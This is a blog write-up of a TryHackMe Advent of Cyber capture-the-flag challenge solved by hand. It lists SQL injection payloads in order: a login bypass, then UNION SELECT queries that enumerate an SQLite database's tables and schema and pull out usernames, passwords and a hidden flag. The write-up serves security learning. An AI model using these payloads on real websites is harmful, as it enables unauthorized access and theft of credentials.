当て身 Atemi

A Cybersecurity blog by shinris3n
👊 Writeups 👊 News 👊 Resources

Part of the Ninpwn Network
shinris3n
<< back

6 December 2020

Advent of Cyber 2 - Day 5 (Manual Mode)

Challenge Source: TryHackMe
Challenge Category: Web Exploitation

Someone stole Santa's gift list!

Using sqlmap was a nice and straightforward way of solving this challenge, but I was curious how it could be solved manually. I saw that others were also interested in the AoC2 Discord channel, so I decided to take a crack at it and share a possible solution.

santas_official_forum_frontpage.png

santapanel.png

'or 1=1--

badboilogin.png

37de0ab710e9d480cc41b2ed5193a753.png

fba82e82ee07183820e349147aa9c123.png

Badboi' UNION SELECT 1, 2--

031ad161871e6b41493e28d231633b90.png

Santa's TODO: Look at alternative database systems that are better than sqlite.

Badboi' UNION SELECT 1, tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--

3a432b4959a9aac3e635618b51163f41.png

BadBoi' UNION SELECT 1, sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--

1c5324b827db2a2ea0f7ed1018c3526f.png

BadBoi' UNION SELECT 1, username FROM users--

0bdc0e71277868101f7c77e063bf562e.png

BadBoi' UNION SELECT 1, password FROM users--

2a4d9996142daa35fd8ac35f9258056c.png

BadBoi' UNION ALL SELECT NULL, password FROM users WHERE username LIKE 'Admin' --

d9f814e92318bf197fa8e1369ee879d1.png

BadBoi' UNION SELECT 1, kid FROM sequels WHERE title LIKE '%Try%' --

2538f2ad6752664f59a38c8bf769565b.png

BadBoi' UNION SELECT 1, flag FROM hidden_table --

a7b2d6fdbc6a1a55e416899387936018.png

It was worth taking the extra time to solve the challenge this way, and I definitely appreciate sqlmap for all it automates and how it formats things a lot more now.

Tags: TryHackMe